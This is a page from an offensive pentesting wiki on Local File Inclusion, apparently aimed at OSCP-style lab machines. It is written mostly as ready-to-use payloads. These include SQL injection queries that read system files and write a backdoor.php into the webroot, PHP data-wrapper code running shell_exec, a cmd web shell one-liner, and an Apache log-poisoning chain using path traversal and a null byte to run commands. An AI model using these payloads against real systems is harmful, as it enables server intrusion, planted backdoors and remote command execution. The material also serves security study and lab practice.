🍩
HackBook.io
  • Pentesting Pocket Book for hackers and developers.
  • Reconnaissance
    • Internal Recon Basics
    • OSINT
      • Infrastructure
      • Recon-ng
      • Users
      • Google Dorks
    • Active Scanning
      • NMAP
        • NSE
          • reconnoitre
        • NMap Evasion
      • NC Scan
      • Finger Printing
    • Web Server OSINT
      • WhatWeb
      • Subdomains
      • Directory & File Enumeration
        • Enumeration
          • GoCutty
          • gobuster
          • Dirb
          • nikto
        • Fuzzing
        • Crawling
  • Web Application Hacking
    • Web 101
      • Clients
      • Servers
      • Encodings
    • Web Hacking Techniques
      • SOP
      • Open Redirect
      • File & Resource Attacks
        • Directory Traversal
          • Dir Traversal Fuzzer
        • LFI
        • RFI
        • Unrestricted File Uploads
      • XSS
        • DOM
        • Stored
        • Reflected
        • Blind
        • Self XSS
      • XXE
        • XXE Payloads
      • XPath
      • SSRF
      • CSRF
      • SQLi
        • SQL Basics
        • Securing SQL
        • Hacking SQL
          • sqlmap
          • In-Band
          • Error Based
          • Blind
      • Authorization
      • Session Hijacking
      • Command Injection
      • Insecure Deserialization
      • File Uploads
        • File Upload Mitigations
      • HPP
      • Click Jacking
        • Adobe SWF Investigator
      • HTTP Response Splitting
      • Flash 101
        • Flash Hacking
      • HTML5
        • WebSockets
        • CORS
          • iframe
          • Headers
    • Web Hacking Procedures
      • Captcha
      • Username Generation
      • Username Enumeration
      • Inhouse WebApps
      • SSL Cert Generation
      • CMS
        • WordPress
        • Joomla
      • Popular Exploits
        • Bludit CMS
        • ShellShock
        • WebDav
  • Weaponization
    • Buffer Overflows (BOF)
      • DSBOFG
        • Scripts
  • Initial Access
    • 😈Services
      • Finger
      • SNMP
      • LDAP
      • SMTP
      • NFS
      • RPC
        • RPCBind
      • RDP
      • SQL
        • NoSQL
      • POP3
      • Samba
      • SMB
      • SSH
      • Telnet
      • NetBios
      • VOIP/SIP
      • DNS
        • DNS Lookups
        • Zone Transfer
        • SubDomain Enums
        • dnsdumpster
    • 😈Shells
      • Powercat
      • Odd Shells
      • Troubleshoot
      • TTY/PTTY
  • Persistence
    • File Transfers
      • Py->Exe->Txt
      • Cross compile example
    • Backdoors
  • Privilege Escalation
    • Universal Escalation
    • Windows Escalation
      • Automated
      • Popular Exploits
        • ActiveXObject to Wscript RCE
        • Macros
        • Object Linking
    • Linux Escalation
      • Automated
    • Passwords
      • John
      • Medusa
      • Cewl
      • ncrack
      • Crunch
      • Hydra
      • MITM
      • Responder
        • SAM
          • pwdump and fgdump
          • Pass-the-hash
      • Crack the hash
      • NTLM
  • Network Discovery
    • Network Traffic
      • tcpdump
    • Internal Discovery
  • Collection and Staging
    • Collection
      • File types
  • Hacking Objectives
    • Non Kinetic War (Quick Guide)
  • Procedures
    • Bash Guide
    • Active Directory
    • Crypto 101
    • Forensics
  • Glossary
  • Hacking Frameworks
    • Metasploit
      • msfvenom
    • Dsnif
  • ThreatModeling
    • Threat Modeling Overview
  • Certifications
    • VMDR
      • Qualys Asset Management
      • Qualys Vulnerability Management
      • Qualys Threat Prioritization
      • Qualys Response (Patch Deployment)
    • OSCP Cheat Sheet
  • RF - Radio Frequency
    • Ham Technician
Powered by GitBook
On this page
  • Basic RCE Example:
  • PHP WRAPPERS:
  • EXAMPLE:
  • Log File Poison RCE:

Was this helpful?

  1. Web Application Hacking
  2. Web Hacking Techniques
  3. File & Resource Attacks

LFI

PreviousDir Traversal FuzzerNextRFI

Last updated 3 years ago

Was this helpful?

Basic RCE Example:

If you have SQLi or can modify templates, see if you can read a system file. If this works you can try for rce. (in this case its windows with apache):

http://192.168.11.35/comment.php?id=-1 union select all 1,2,3,4,load_file('c:/windows/system32/drivers/etc/host'),6

Find a place to upload the backdoor.php file or inject it with SQLi. Then use the LFI to run it on system and get RCE.

http://10.11.1.35/comment.php?id=738 union all select 1,2,3,4,"",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

PHP WRAPPERS:

Example 1:

http://10.11.0.22/menu.php?file=data:text/plain,hello world

The menu page is vulnerable to LFI attacks. If we submit a payload using a data wrapper, the application should treat it the text the same as a regular file and include it in the page. http://10.11.0.22/menu.php?file=data:text/plain,<?php echo shell_exec("dir") ?>

EXAMPLE:

Found this code on the site:

include: Used to load files, (php files in this case) from the server locally and run them. In this case we can submit something other than en,fr,etc and have the server request other files. We test a common windows file to make sure our traversal works.

A null byte %00 is used to stop the code from trying to append the php extension via the include statement.

Log File Poison RCE:

One way to get RCE with LFI is by poisoning a log file with php then displaying the file in the browser so the php is executed. We can do this by making a bad request with nc that contains our code and then read back the log with apache php.

Try other php shells if this does not work. It may also need the use of a pre tag to keep spacing. ex: <?php echo '<pre>' . shell_exec($_GET['cmd']) . '</pre>';?>

This causes our request to get logged at : c:\xampp\apache\logs\access.log

Match your log file type/path to the server you are attacking.

Running the RCE:

http://10.11.1.35/addguestbook.php?cmd=ipconfig&LANG=../../../../../../../xampp/apache/logs/access.log%00

Commands will be executed with the apache privs. From here a more persistent shell/backdoor can be established.

Often encodings are combined with this method. Below are a couple sources to get you started.

https://github.com/cyberheartmi9/PayloadsAllTheThings/blob/master/File%20Inclusion%20-%20Path%20Traversal/README.md
https://www.aptive.co.uk/blog/local-file-inclusion-lfi-testing/
Backdoor RCE via LFI read
Log file holds our rce output